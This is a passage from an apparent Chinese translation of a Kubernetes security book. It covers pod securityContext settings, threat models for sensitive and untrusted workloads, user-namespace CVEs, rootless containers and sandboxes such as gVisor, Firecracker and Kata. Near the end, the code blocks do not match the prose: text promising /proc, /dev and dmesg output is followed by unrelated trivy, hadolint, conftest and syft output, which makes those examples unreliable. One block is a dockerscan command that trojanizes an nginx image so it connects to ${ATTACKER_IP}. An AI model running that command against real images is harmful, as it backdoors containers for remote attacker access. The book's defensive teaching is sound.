主机网络访问允许我们嗅探流量或在主机适配器上发送虚假流量(但仅当我们有权限执行时,通过CAP_NET_RAWCAP_NET_ADMIN启用),并逃避依赖流量起源于 Pod 网络命名空间中预期源 IP 的网络策略。

还允许访问绑定到主机回环适配器(在根网络命名空间中为localhost)的服务,传统上被视为安全边界。服务器端请求伪造(SSRF)攻击减少了这种模式的发生,但仍可能存在(Kubernetes 的 API 服务器--insecure-port在 v1.10 中使用了此模式,最终在 v1.20 中删除)。

.spec .hostAliases

允许 Pod 覆盖其本地/etc/hosts文件。这可能会带来更多的操作上的影响(例如无法及时更新导致故障),而非安全上的含义。

.spec .hostIPC

允许 Pod 访问主机的进程间通信命名空间,可能会干扰主机上的受信任进程。这可能使得简单通过/usr/bin/ipcs或共享内存文件/dev/shm实现主机妥协。

containers[] .securityContext .runAsNonRoot

在 Linux 系统中,根用户具有特殊权限,尽管在容器中设置权限较低,但根用户仍然被大量内核代码特殊对待。

防止根用户拥有容器内的进程是一种简单且有效的安全措施。它阻止了本书列出的许多容器逃逸攻击,并遵循标准和已建立的 Linux 安全实践。

containers[] .securityContext .runAsUser > 10000

除了防止根运行进程外,强制容器化进程的高 UID 降低了无用户命名空间的逃逸风险:如果容器中的用户(例如 12345)在主机上有等效 UID(也是 12345),并且容器中的用户能够通过挂载卷或共享命名空间与它们联系,那么资源可能会意外地共享,并允许容器逃逸(例如,文件系统权限和授权检查)。

containers[] .securityContext .readOnlyRootFilesystem

不可变性不是安全边界,因为代码可以从互联网下载并由解释器(如 Bash、PHP 和 Java)运行,而不使用文件系统,正如bashark后渗透工具所示:

[PRE38]

文件系统位置像/tmp/dev/shm可能会始终可写,以支持应用程序的行为,因此不能依赖只读文件系统作为安全边界。不可变性将防止某些随机和自动化攻击,但不是强大的安全边界。

诸如 falcotracee 的入侵检测工具可以检测到容器中产生的新的 Bash shell(或任何未列入白名单的应用程序)。此外,tracee 还可以通过观察 /proc/pid/maps 来检测试图通过内存中执行的恶意软件。

注意

我们会在第九章详细讨论 Falco。

containers[] .securityContext .capabilities .drop | index(“ALL”)

你应该总是删除所有的能力,只重新添加你的应用程序需要的那些。

containers[] .securityContext .capabilities .add | index(“SYS_ADMIN”)

这种能力的存在是一个警告信号:尽量找到部署任何需要它的容器的另一种方法,或者在具有自定义安全规则的专用命名空间中部署,以限制妥协的影响。

containers[] .resources .limits .cpu, .memory

限制容器可用内存的总量可以防止拒绝服务攻击将主机机器挤垮,因为容器会首先死掉。

containers[] .resources .requests .cpu, .memory

请求资源有助于调度器有效地“装箱”资源。过度请求资源可能是对手试图将新的 Pod 调度到他们控制的另一个节点的尝试。

.spec .volumes[] .hostPath .path

可写的 /var/run/docker.sock 主机挂载允许突破到主机。任何攻击者可以写符号链接的文件系统都是有漏洞的,攻击者可以使用这条路径探索和从主机外泄。

进入风暴的眼眸

船长和船员进行了一次徒劳的袭击,但这并不是我们将听到的最后一次逃避行动。

在我们阅读这本书的过程中,我们将看到 Kubernetes 容器组件如何与更广泛的系统交互,我们将见证 Hashjack 船长努力利用它们的过程。

结论

为了安全地使用一个 Pod,需要对多层配置进行限制,你运行的工作负载是 Kubernetes 安全的软肋。

Pod 是保护集群的第一道防线,也是最重要的部分。应用程序代码经常更改,很可能是潜在的可利用漏洞的来源。

要扩展锚和链的比喻,一个集群只有其最薄弱环节才强大。为了可以被证明是安全的,你必须使用强大的配置测试、预防性控制和管道与准入控制中的策略,以及运行时入侵检测——因为没有什么是绝对无懈可击的。

第三章:容器运行时隔离

Linux 已经发展出超越简单虚拟机(VM)的沙箱化和隔离技术,使其能够抵御当前和未来的漏洞。有时这些沙箱被称为微型 VM

这些沙箱结合了所有先前容器和 VM 方法的部分。你可以使用它们来保护敏感工作负载和数据,因为它们专注于在共享基础设施上快速部署和高性能。

在本章中,我们将讨论不同类型的微型 VM,它们将虚拟机和容器结合在一起,以保护你正在运行的 Linux 内核和用户空间。通用术语沙箱化用于涵盖整个光谱:本章中的每个工具都结合了软件和硬件虚拟化技术,并使用 Linux 的内核虚拟机(KVM),这在包括亚马逊云服务和谷歌云在内的公共云服务中被广泛使用来支持 VM。

在 BCTL 上运行大量工作负载,你应该记住,虽然这些技术也可以防止 Kubernetes 错误,但你所有面向网络的软件和基础设施是首要防御的更明显的地方。与简单的安全敏感性配置错误相比,零日漏洞和容器越狱相对较少。

强化运行时是较新的,通常比内核或更成熟的容器运行时具有更少的危险 CVE,因此我们将更少关注历史性的越狱,而更多关注微型 VM 设计和原理的历史。

默认设置

kubeadm 使用 runc 作为其容器运行时安装 Kubernetes,使用 cri-ocontainerd 进行管理。在 Kubernetes v1.20 中移除了旧的通过 dockershim 运行 runc 的方式,因此尽管 Kubernetes 不再使用 Docker,但 Docker 构建的 runc 容器运行时仍继续为我们运行容器。图 3-1 展示了 Kubernetes 可以使用 runc 容器运行时的三种方式:CRI-O、containerd 和 Docker。

haku 0301

图 3-1 Kubernetes 容器运行时接口

我们将在本章后面详细讨论容器运行时。

威胁模型

隔离工作负载或 pod 的主要原因有两个——它可能访问敏感信息和数据,或者可能不受信任并对系统的其他用户具有潜在敌意:

  • 敏感的工作负载是那些数据或代码对于未经授权访问太重要的工作负载。这可能包括欺诈检测系统、定价引擎、高频交易算法、个人可识别信息(PII)、财务记录、可能在其他系统中重复使用的密码、机器学习模型或组织的“秘密配方”。敏感工作负载是宝贵的。

  • 不受信任的工作负载是可能危险的工作负载。它们可能允许高风险用户输入或运行外部软件。

潜在不受信任的工作负载示例包括:

  • 云提供商的虚拟化程序上的 VM 工作负载

  • CI/CD 基础设施易受构建时供应链攻击影响。

  • 转码复杂文件,可能存在解析器错误

不受信任的工作负载可能还包括具有已发布或怀疑存在零日漏洞 (CVE) 的软件 —— 如果没有可用的补丁,并且工作负载对业务至关重要,则进一步隔离它可能会降低漏洞被利用时的潜在影响。

注意

运行不受信任工作负载的主机面临的威胁是工作负载或进程本身。通过沙盒化进程并移除其可用的系统 API,减少主机对进程的攻击面。即使该进程被 compromise,对主机的风险也较小。

BCTL 允许用户上传文件以导入数据和船运清单,因此存在威胁行动者试图上传格式错误或恶意文件以尝试强制利用软件错误。负责运行批处理转换和处理工作负载的 Pod 是沙盒化的良好候选对象,因为它们正在处理不受信任的输入,如 图 3-2 所示。

haku 0302

图 3-2. 沙盒化风险批量工作负载
注意

用户通过应用程序提供的任何数据都可能是不受信任的,但大多数输入会以某种方式进行消毒(例如,根据整数或字符串类型验证)。像 PDF 或视频这样的复杂文件无法通过这种方式消毒,并依赖于编码库的安全性,有时它们并不安全。此类漏洞通常是“逃逸”的,如 CVE-X 或 ImageTragick。

您的威胁模型可能包括:

  • 不受信任的用户输入触发了工作负载中的漏洞,攻击者利用此漏洞执行恶意代码。

  • 敏感应用程序遭到 compromise,攻击者试图窃取数据。

  • 在受 compromise 的节点上,恶意用户尝试读取主机上其他进程的内存。

  • 新的沙盒代码测试不足,可能包含可利用的漏洞。

  • 容器镜像构建从未经身份验证的外部源拉取恶意依赖项和代码,可能包含恶意软件。

注意

现有的容器运行时默认带有一些加固措施,Docker 使用默认的 seccomp 和 AppArmor 配置文件,这些配置会禁用大量未使用的系统调用。这些在 Kubernetes 中默认未启用,必须通过准入控制或 PodSecurityPolicy 强制执行。在 v1.22 中,SeccompDefault=true kubelet 功能开关恢复了这种容器运行时的默认行为。

现在我们对系统的威胁有了一个概念,让我们退一步。我们将探讨虚拟化:它是什么,为什么我们使用容器,以及如何结合容器和虚拟机的最佳部分。

容器、虚拟机和沙盒

容器与虚拟机的一个主要区别在于容器存在于共享主机内核上。虚拟机在每次启动时启动一个内核,使用硬件辅助虚拟化,并且具有更安全但传统上速度较慢的运行时。

一种普遍看法是,容器被优化用于速度和可移植性,而虚拟机则牺牲了这些特性以获得更强大的隔离免受恶意行为和更高的容错能力。

这种看法并不完全正确。这两种技术在内核本身中共享许多常见的代码路径。容器和虚拟机就像共轨运行的恒星一样演化,永远无法完全摆脱彼此的引力。容器运行时是一种内核虚拟化形式。OCI(开放容器倡议)容器镜像规范已成为容器部署的标准化原子单位。

下一代沙盒结合了容器和虚拟化技术(参见图 3-3)以减少工作负载对内核的访问。它们通过在用户空间或隔离的宿主环境中模拟内核功能来实现这一点,从而将宿主的攻击面减少到沙盒内部的进程。明确定义的接口可以帮助减少复杂性,最小化未经测试的代码路径的机会。通过与containerd集成,这些沙盒还能与 OCI 镜像和软件代理(“shim”)进行交互,以连接两个不同的接口,这可以与像 Kubernetes 这样的编排器一起使用。

图片

图 3-3. 容器隔离方法的比较;来源:克里斯蒂安·巴格曼和玛丽娜·特罗普曼-弗里克的容器隔离论文

这些沙盒技术对于公共云提供商尤为重要,对于他们来说,多租户和容器装箱是非常有利可图的。像谷歌云函数和 AWS Lambda 这样的激进多租户系统正在运行“作为服务的不受信任代码”,而这种隔离软件源自云供应商对将无服务器运行时与其他租户隔离的安全要求。多租户将在下一章中深入讨论。

云服务提供商将虚拟机作为计算的原子单位,但它们也可能将根虚拟机进程包装在类似容器的技术中。然后客户使用虚拟机来运行容器—虚拟化的内嵌。

传统虚拟化在软件中模拟物理硬件架构。微型虚拟机尽可能模拟小的 API,删除诸如 I/O 设备甚至系统调用等功能,以确保最小权限。然而,它们仍在运行相同的 Linux 内核代码来执行低级程序操作,如内存映射和打开套接字—只是通过额外的安全抽象来创建默认安全的运行时。因此,即使虚拟机没有像容器那样共享内核的那么多,一些系统调用仍必须由宿主内核执行。

软件抽象需要 CPU 时间来执行,因此虚拟化必须始终在安全性和性能之间取得平衡。可能会添加足够多的抽象层和间接性,使一个进程被视为“高度安全”,但最终这种极致安全可能不会带来可行的用户体验。而单内核则朝着另一个方向发展,跟踪程序的执行,然后除了程序使用的功能之外几乎移除所有内核功能。观测性和可调试性或许是单内核没有得到广泛采纳的原因。

要理解每种方法中固有的权衡和妥协,重要的是理解虚拟化类型的比较。虚拟化已存在很长时间,并且有许多变种。

虚拟机的工作原理

尽管虚拟机及其相关技术自 20 世纪 50 年代末以来就已存在,但在 1990 年代由于缺乏硬件支持而暂时衰退。在这段时间内,“进程虚拟机”变得越来越流行,特别是 Java 虚拟机(JVM)。在本章中,我们专指系统虚拟机:一种不受特定编程语言限制的虚拟化形式。例如 KVM/QEMU、VMware、Xen、VirtualBox 等。

虚拟机研究始于 20 世纪 60 年代,旨在便于多个用户和进程之间共享大型昂贵的物理机器(见图 3-4)。要安全地共享物理主机,必须在租户之间实施某种程度的隔离,以及在敌对租户情况下,应该大幅减少对底层系统的访问权限。

容器抽象

图 3-4. 虚拟化的家族树;来源:“理想与现实”

这是在硬件(CPU)、软件(内核和用户空间)或两者层间的协作中执行的,并允许许多用户共享相同的大型物理硬件。这种创新成为公共云采用的主要技术:为进程、内存和它们从物理主机机器上需求的资源提供安全共享和隔离。

主机机器被分割为较小的孤立计算单元,传统上称为客户(见图 3-5)。这些客户与位于物理主机 CPU 和设备上方的虚拟化层进行交互。该层拦截系统调用以自行处理:将它们代理给主机内核,或者在可能的情况下自行处理请求——执行内核的工作。全虚拟化(例如 VMware)模拟硬件并在客户内部启动完整内核。操作系统级虚拟化(例如容器)模拟主机的内核(即使用命名空间、cgroups、功能和seccomp),因此可以直接在主机内核上启动容器化进程。容器中的进程与 VM 中执行的进程相似,共享许多内核路径和安全机制。

image

图 3-5. 服务器虚拟化;来源:“理想与现实”

要引导内核,客户操作系统将需要访问主机机器功能的子集,包括 BIOS 例程、设备和外围设备(例如键盘、图形/控制台访问、存储和网络)、中断控制器和间隔定时器、熵源(用于随机数种子)以及其将在其中运行的内存地址空间。

每个客户虚拟机内部都有一个环境,其中可以运行进程(或工作负载)。虚拟机本身由一个特权父进程拥有,负责管理其设置和与主机的交互,称为虚拟机监视器或 VMM(如图 3-6 所示)。这也被称为超级监视器,但是随着较新方法的出现,这两者之间的区别变得模糊,因此更倾向于使用原始术语 VMM。

image

图 3-6. 一个虚拟机管理器

Linux 具有名为 KVM 的内置虚拟机管理器,允许主机内核运行虚拟机。与 QEMU 一起,后者模拟物理设备并为客户提供内存管理(必要时可以单独运行),操作系统可以通过客户 OS 和 QEMU 完全模拟运行(与图 3-7 中的 Xen hypervisor 相对)。此模拟缩小了 VM 与主机内核之间的接口,并减少了 VM 内部进程可以直接访问的内核代码量,从而提供了更高级别的隔离以防止未知的内核漏洞。

image

图 3-7. KVM 与 Xen 和 QEMU 的对比;来源:KVM 与 QEMU 之间的区别是什么
注意

尽管经过多年的努力,“在实践中,没有一个虚拟机完全等同于其真实机器的对应物”(“理想与现实”)。这是由于模拟硬件的复杂性所致,并且希望减少我们生活在模拟中的可能性。

虚拟化的好处

像所有我们试图保护的东西一样,虚拟化必须在性能和安全性之间取得平衡:通过在运行时尽可能少的额外检查来降低运行负载的风险。对于容器来说,共享主机内核是一个潜在的容器逃逸通道——Linux 内核拥有悠久的遗产和单片式代码库。

Linux 主要使用 C 语言编写,具有内存管理类和范围检查漏洞,这些漏洞被证明是极难完全消除的。许多应用程序在面对模糊测试时都曾遇到这些可利用的漏洞。这种风险意味着我们希望将恶意代码远离信任接口,以防它们具有零日漏洞。这是一种相当严格的防御态度——它的目的是减少攻击者利用零日 Linux 漏洞的任何机会窗口。

注意

谷歌的 OSS-Fuzz 项目诞生于围绕 Heartbleed OpenSSL 漏洞的漩涡之中,这个漏洞可能在野外存在了长达两年之久。像 OpenSSL 这样的关键互联网项目资金匮乏,开源社区中存在大量善意,因此在这些漏洞被利用之前发现它们是保护关键软件的重要步骤。

沙盒模型通过抽象防御零日漏洞。它将进程从 Linux 系统调用接口中移开,以减少利用它的机会,使用各种容器和能力、LSM 和内核模块、硬件和软件虚拟化以及专用驱动程序。大多数最新的沙盒使用像 Golang 或 Rust 这样的类型安全语言,这使得它们的内存管理比使用 C 编程的软件更安全(后者需要手动且潜在存在错误的内存管理)。

容器有何问题?

让我们进一步定义一下我们所说的容器,看看它们如何与主机内核交互,如图 Figure 3-8 所示。

容器直接与主机内核通信,但是 LSM、能力和命名空间的层确保它们不能完全访问主机内核。相反,虚拟机(VM)使用客户机内核(在虚拟化程序中运行的专用内核)。这意味着如果 VM 的客户机内核受到损害,则需要更多工作才能从虚拟化程序中打破出来并进入主机。

主机内核边界

图 3-8. 主机内核边界

容器由低级容器运行时创建,作为用户,我们与控制它的高级容器运行时交互。

图 3-9 中的图表显示了高级接口,容器管理器位于左侧。然后,Kubernetes、Docker 和 Podman 与各自的库和运行时进行交互。这些功能包括推送和拉取容器镜像、管理存储和网络接口,并与低级容器运行时进行交互。

容器抽象

图 3-9. 容器抽象;来源:“CRI-O、Kata Containers 和 Podman 的最新情况”

在图 3-9 的中间列中是您的 Kubernetes 集群与之交互的容器运行时,而右列是负责启动和管理容器的低级运行时。

那个低级容器运行时直接负责启动和管理容器,与内核接口以创建命名空间和配置,并最终在容器中启动进程。它还负责处理容器内部的进程,并在运行时将其系统调用传递给主机内核。

用户命名空间漏洞

Linux 最初的核心假设是:根用户始终在主机命名空间中。这一假设在没有其他命名空间时成立。但随着用户命名空间的引入(最后一个完成的主要内核命名空间),开发用户命名空间需要对涉及根用户的代码进行多次代码更改。

用户命名空间允许您将容器中的用户映射到主机上的其他用户,因此容器中的 ID 0(root)可以在卷上创建文件,而从容器内部看,这些文件看起来是由 root 拥有。但是当您从主机检查同一卷时,它们显示为由映射到的用户拥有(例如,用户 ID 为 1000 或 110000,如图 3-10 所示)。尽管正在进行支持工作,但用户命名空间在 Kubernetes 中并未启用。

用户命名空间用户 ID 重映射

图 3-10. 用户命名空间用户 ID 重映射

在 Linux 中,一切都是文件,文件由用户拥有。这使得用户命名空间具有广泛和复杂的影响,并且它们曾经是 Linux 早期版本中特权升级漏洞的源头:

CVE-2013-1858 (用户命名空间 & CLONE_FS)

Linux 内核在 3.8.3 版本之前的克隆系统调用实现未正确处理CLONE_NEWUSERCLONE_FS标志的组合,允许本地用户通过调用chroot并利用父进程与子进程之间共享/目录的方式获取特权。

CVE-2014-4014 (用户命名空间 & chmod)

在 Linux 内核版本 3.14.8 之前的 capabilities 实现中,未正确考虑到命名空间对于 inode 不适用的事实,这使得本地用户可以通过首先创建用户命名空间来绕过预期的chmod限制,例如在具有root组所有权的文件上设置setgid位。

CVE-2015-1328(用户命名空间和 OverlayFS(仅限 Ubuntu))

在 Ubuntu 版本直到 15.04 之前的 Linux 内核包中的 3.19.0-21.21 之前的overlayfs实现未正确检查上层文件系统目录中的文件创建权限,允许本地用户通过配置,在任意挂载命名空间中允许overlayfs来获取 root 访问权限。

CVE-2018-18955(用户命名空间和复杂 ID 映射)

在 Linux 内核 4.15.x 到 4.19.x 版本的 4.19.2 之前,在kernel/user_namespace.c中的map_write()存在特权提升漏洞,因为它在具有超过 5 个UIDGID范围的嵌套用户命名空间中处理不当。在受影响的用户命名空间中具有CAP_SYS_ADMIN权限的用户可以绕过对命名空间外资源的访问控制,例如读取/etc/shadow。这是因为对于命名空间到内核方向的 ID 转换处理正确,但对于内核到命名空间方向则不正确。

容器本身并非“不安全”,但正如我们在第二章中看到的,它们可能会泄漏关于主机的一些信息,而 root-owned 容器运行时则是敌意进程或容器镜像的潜在利用路径。

提示

在主机网络命名空间中创建网络适配器和挂载主机磁盘等操作通常需要具有 root 权限,这使得非 root 容器的实现更加困难。在流行的容器使用的第一个十年中,rootfull 容器运行时是唯一可行的选择。

利用这一根源问题的攻击包括通过/proc/self/exe替换容器内的runc二进制文件的CVE-2019-5736,以及在响应docker cp时从容器内部攻击主机的CVE-2019-14271

通过在“非特权用户命名空间”模式下运行 rootless 容器来缓解关于 root-owned 守护程序的基本问题:使用非 root 用户在其自己的用户命名空间内创建容器。这在 Docker 20.0X 和 Podman 中得到支持。

Rootless意味着低级别容器运行时进程由非特权用户拥有,因此通过进程树进行的容器突破仅会逃逸到非 root 用户,从而使一些潜在的攻击失效。

注意

无根容器引入了一种希望更少危险的风险——用户命名空间在历史上一直是漏洞的丰富源泉。关于运行根所有守护程序还是用户命名空间更危险的问题没有明确答案,尽管任何降低根权限的行为可能是更有效的安全边界。从根守护的 Docker 中出现更多突破是因为其被广泛使用和采纳。

无根容器(没有根所有守护程序)与拥有根所有守护程序相比,提供了安全边界。当主机的根用户拥有的代码被恶意进程 compromise 时,它可能读取和写入其他用户的文件,攻击网络及其流量,或向主机安装恶意软件。

在宿主用户命名空间、容器用户命名空间和无根运行时的用户映射中,用户标识符(UIDs)的映射依赖于宿主用户命名空间和容器用户命名空间的用户映射,如 图 3-11 所示。

无根和用户命名空间容器的用户映射

图 3-11. 容器抽象;来源:“Rootless Docker 实验”

用户命名空间允许非根用户假装成宿主的根用户。“在用户命名空间中的根” 用户可以拥有“假” UID 0,并且有权限创建新的命名空间(挂载、网络、uts、ipc)、更改容器的主机名和挂载点。

这使得在用户命名空间中的根用户,即在宿主命名空间中无特权的用户,可以创建新的容器。为了实现这一点,需要进行额外的工作:只有宿主的根用户才能创建进入宿主网络命名空间的网络连接。对于无根容器,使用一个非特权的 slirp4netns 网络设备(由 seccomp 保护)来创建一个虚拟网络设备。

不幸的是,当远程系统(例如 NFS 主目录)不理解主机的用户命名空间时,挂载远程文件系统变得困难。

无根 Podman 指南 中,Dan Walsh 表示:

如果正常进程在 NFS 共享上创建文件,并且没有利用用户命名空间功能,那么一切都正常工作。问题出现在容器内的根进程需要在需要特殊能力访问 NFS 共享上执行某些操作时。在这种情况下,远程内核将不会了解这种能力,并且很可能拒绝访问。

虽然无根 Podman 支持 SELinux(以及通过 udica 支持动态配置文件支持),但无根 Docker 尚不支持 AppArmor,对于这两种运行时,都禁用了 CRIU(用户空间的检查点/恢复,用于冻结运行中的应用程序)。

两种无根运行时都需要对一些网络功能进行配置:内核要求CAP_NET_BIND_SERVICE用于绑定到低于 1024 的端口(历来被视为特权边界),如果高 UID 用户不在/proc/sys/net/ipv4/ping_group_range中,则不支持 ping(尽管主机根用户可以更改此设置)。不允许使用主机网络(因为这会破坏网络隔离),cgroups v2 在systemd下运行时是有效的,但两种无根实现都不支持cgroup v1。关于rootless Podman 的不足之处有更多细节。

Docker 和 Podman 使用runc,因此它们在性能和功能上相似,尽管 Docker 具有已建立的网络模型,在无根模式下不支持主机网络,而 Podman 则重用 Kubernetes 的容器网络接口(CNI)插件,提供更大的网络部署灵活性。

无根容器降低了运行容器映像的风险。无根性阻止利用漏洞升级到根权限,尽管某些软件通常需要使用SETUIDSETGID二进制文件来避免以根身份运行进程。

虽然无根容器可以保护主机免受容器的影响,但仍可能从主机读取某些数据,尽管对于对手而言这将大大减少其用途。与潜在特权升级点(包括/proc、主机设备和内核接口等)的交互需要根权限。

在这些抽象层面中,系统调用仍由潜在不安全的 C 语言编写的软件最终处理。在 Linux 内核中,无根运行时是否暴露于基于 C 的系统调用真的很糟糕吗?嗯,C 语言驱动着互联网(和世界?)已有几十年,但其缺乏内存管理导致同样的关键漏洞一次又一次地发生。当内核、OpenSSL 和其他关键软件都采用 C 语言编写时,我们只想尽可能远离信任的内核空间。

注意

Whitesource 建议,在过去的 10 年中,C 语言占所有报告的漏洞的 47%。这可能主要是由于其广泛应用和长寿命,但也突显了固有的风险。

虽然“精简版”内核存在(如 unikernels 和 rump kernels),许多传统和遗留应用程序可以在不修改代码的情况下移植到容器运行时环境中。要实现 unikernel 的这一壮举,需要将应用程序移植到新的精简内核上。容器化应用程序通常是开发者无阻力的体验,这一点促成了容器的成功。

沙箱化

如果一个进程能够利用内核,它就能接管运行该内核的系统。这是像 Hashjack 队长这样的对手试图利用的风险,因此云提供商和硬件供应商一直在开发不同的方法,以减少客户机与 Linux 系统调用的交互。

Linux 容器是一种轻量级的隔离形式,允许工作负载直接使用内核 API,最小化抽象层。沙箱采用多种其他方法,通常也使用容器技术。

提示

Linux 的内核虚拟机(KVM)是一个允许内核作为 hypervisor 运行其自身嵌套版本的模块。它使用处理器的硬件虚拟化命令,并允许每个“客户机”在虚拟机中运行一个完整的 Linux 或 Windows 操作系统,具有私有的虚拟化硬件。虚拟机与容器不同,因为客户机的进程在其自己的内核上运行:容器进程始终共享主机内核。

沙箱结合了虚拟化和容器隔离的优点,以优化特定的使用场景。

gVisor 和 Firecracker(分别使用 Golang 和 Rust 编写)都基于这样的假设运行:它们的静态类型化系统调用代理(在工作负载/客户进程与主机内核之间)比 Linux 内核本身更安全,而性能影响不大。

gVisor 启动 KVM 或以 ptrace 模式运行(使用调试 ptrace 系统调用来监视和控制其客户机),在内部启动一个用户空间内核,它通过一个“哨兵”进程将系统调用代理到主机。这个受信任的进程重新实现了 237 个 Linux 系统调用,只需要 53 个主机系统调用来操作。它通过 seccomp 来限制系统调用的列表。它还启动一个配套的“文件系统交互”边缘进程称为 Gofer,以防止被攻陷的哨兵进程与主机文件系统交互,并最终实现了自己的用户空间网络堆栈以隔离其与 Linux TCP/IP 堆栈中的错误。

另一方面,Firecracker 使用 KVM 同样启动一个精简的设备仿真器,而不是像传统的 Linux 虚拟机那样实现庞大的 QEMU 进程来仿真设备。这减少了主机的攻击面,并去除了不必要的代码,自身只需要 36 个系统调用来运行。

最后,在图 3-12 的另一端,KVM/QEMU 虚拟机仿真硬件,因此提供了客户机内核和完整设备仿真,这增加了启动时间和内存占用。

image

图 3-12. 隔离的谱系

虚拟化通过 CPU 集成提供更好的硬件隔离,但由于客户机与底层主机之间的抽象层,启动和运行速度较慢。

容器轻便且适合大多数工作负载的安全需求。它们已在世界各地的跨国组织中生产使用。但高敏感度的工作负载和数据需要更高的隔离性。您可以按风险对工作负载进行分类:

  • 此应用程序是否访问敏感或高价值资产?

  • 此应用程序能否接收不受信任的流量或输入?

  • 此应用程序以前有过漏洞或错误吗?

如果答案是肯定的,您可能希望考虑使用下一代沙盒技术进一步隔离工作负载。

gVisor、Firecracker 和 Kata Containers 各自采用不同的虚拟机隔离方法,但目标都是挑战慢启动时间和高内存开销的看法。

注意

Kata Containers 是一个容器运行时,启动一个虚拟机并在其中运行一个容器。它具有广泛的兼容性,并可以将firecracker作为客户端运行。

表 3-1 比较了这些沙盒技术及其一些关键特性。

表 3-1. 沙盒功能比较;来源:“增强容器隔离性:沙盒化容器技术概述”

支持的容器平台 专用客户端内核 支持不同的客户端内核 开源 热插拔 直接访问硬件 所需的虚拟化管理程序 由...支持
gVisor Docker, K8s Yes No Yes No No None Google
Firecracker Docker Yes Yes Yes No No KVM Amazon
Kata Docker, K8s Yes Yes Yes Yes Yes KVM 或 Xen OpenStack

每个沙盒结合了虚拟机和容器技术:一些虚拟机管理进程,在虚拟机内核内运行 Linux 内核,Linux 用户空间在内核引导后运行进程,以及一些内核基础的隔离(例如容器风格的命名空间、cgroupsseccomp),这些隔离要么在虚拟机内部,要么在虚拟机管理程序周围,或者两者的组合。

让我们仔细看看每个技术。

gVisor

Google 的 gVisor 最初是为了允许不受信任的、由客户提供的工作负载在 Borg 上的 App Engine 中运行而构建的,Borg 是 Google 的内部编排器和 Kubernetes 的前身。它现在保护 Google Cloud 产品:App Engine 标准环境、Cloud Functions、Cloud ML Engine 和 Cloud Run,并已修改以在 GKE 中运行。在本章的沙盒技术中,它具有最好的 Docker 和 Kubernetes 集成。

注意

要运行这些示例,必须在主机或工作节点上安装gVisor 运行时二进制文件

Docker 支持可插拔的容器运行时,简单的docker run -it --runtime=runsc启动了一个 gVisor 隔离的 OCI 容器。让我们看看在一个普通的 gVisor 容器中/proc目录中有什么,以便与标准的runc进行比较:

$ trivy fs . ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
2021-02-22T10:11:32.657+0100    INFO    Detected OS: unknown
2021-02-22T10:11:32.657+0100    INFO    Number of PL dependency files: 2
2021-02-22T10:11:32.657+0100    INFO    Detecting gomod vulnerabilities...
2021-02-22T10:11:32.657+0100    INFO    Detecting npm vulnerabilities...

infra/build/go.sum
==================================
Total: 2 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 2, CRITICAL: 0) ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)

+-----------------------------+------------------+----------+-------------...
|           LIBRARY           | VULNERABILITY ID | SEVERITY |         INST...
+-----------------------------+------------------+----------+-------------...
| github.com/dgrijalva/jwt-go | CVE-2020-26160   | HIGH     | 3.2.0+incomp...
|                             |                  |          |             ...
|                             |                  |          |             ...
+-----------------------------+------------------+          +-------------...
| golang.org/x/crypto         | CVE-2020-29652   |          | 0.0.0-202006...
|                             |                  |          |             ...
|                             |                  |          |             ...
|                             |                  |          |             ...
+-----------------------------+------------------+----------+-------------...

infra/api/code/package-lock.json
==================================================
Total: 0 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 0) ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)
注意

从此目录中删除特殊文件可防止恶意进程访问底层主机内核中相关功能。

/proc中的条目比runc容器中少得多,如此差异显示:

$ docker save nginx:latest -o webserver.tar ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
$ dockerscan image modify trojanize webserver.tar \ ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
  --listen "${ATTACKER_IP}" --port "${ATTACKER_PORT}" ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)
  --output trojanized-webserver ![4](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/4.png)

模拟 Linux 系统调用接口的 Sentry 进程重新实现了 Linux 5.3.11 版本中约 350 个可能的系统调用中的超过 235 个。这向你展示了/proc/dev虚拟文件系统的“屏蔽”视图。这些文件系统历来通过从主机共享信息(内存、设备、进程等)泄露容器抽象,因此是一个特别关注的领域。

让我们看看 gVisor 和runc/dev中的系统设备:

$ docker run --rm -i hadolint/hadolint < Dockerfile
/dev/stdin:3 DL3008 Pin versions in apt get install.
/dev/stdin:5 DL3020 Use COPY instead of ADD for files and folders

我们可以看到runsc gVisor 运行时去除了consolecore设备,但在/dev/net/tun目录(在net/目录下)中包含了一个/dev/net/tun设备,用于其netstack网络堆栈,该堆栈也运行在 Sentry 内。Netstack 可以被绕过以进行直接主机网络访问(牺牲一些隔离性),或者完全禁用主机网络以实现完全主机隔离的网络(取决于在沙箱中配置的 CNI 或其他网络)。

除了这些线索,gVisor 在启动时很好地标识自己,你可以在使用dmesg查看容器时看到:

$ conftest test --policy ./test/policy --all-namespaces Dockerfile
2 tests, 2 passed, 0 warnings, 0 failures, 0 exceptions

值得注意的是这不是启动容器所需的真实时间,而且古怪的消息是随机生成的—不要依赖它们进行自动化。如果我们计时该过程,我们会看到它比它声称的启动得更快:

user@host:~ [0]$ syft packages controlplane/bizcard:latest -o cyclonedx
Loaded image
Parsed image
Cataloged packages      [0 packages]
<?xml version="1.0" encoding="UTF-8"?>
<bom xmlns="http://cyclonedx.org/schema/bom/1.2"
    version="1" serialNumber="urn:uuid:18263bb0-dd82-4527-979b-1d9b15fe4ea7">
  <metadata>
    <timestamp>2021-05-30T19:15:24+01:00</timestamp>
    <tools>
      <tool>
        <vendor>anchore</vendor>   ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
        <name>syft</name>          ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
        <version>0.16.1</version>  ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)
      </tool>
    </tools>
    <component type="container">  ![4](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/4.png)
      <name>controlplane/bizcard:latest</name> ![5](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/5.png)
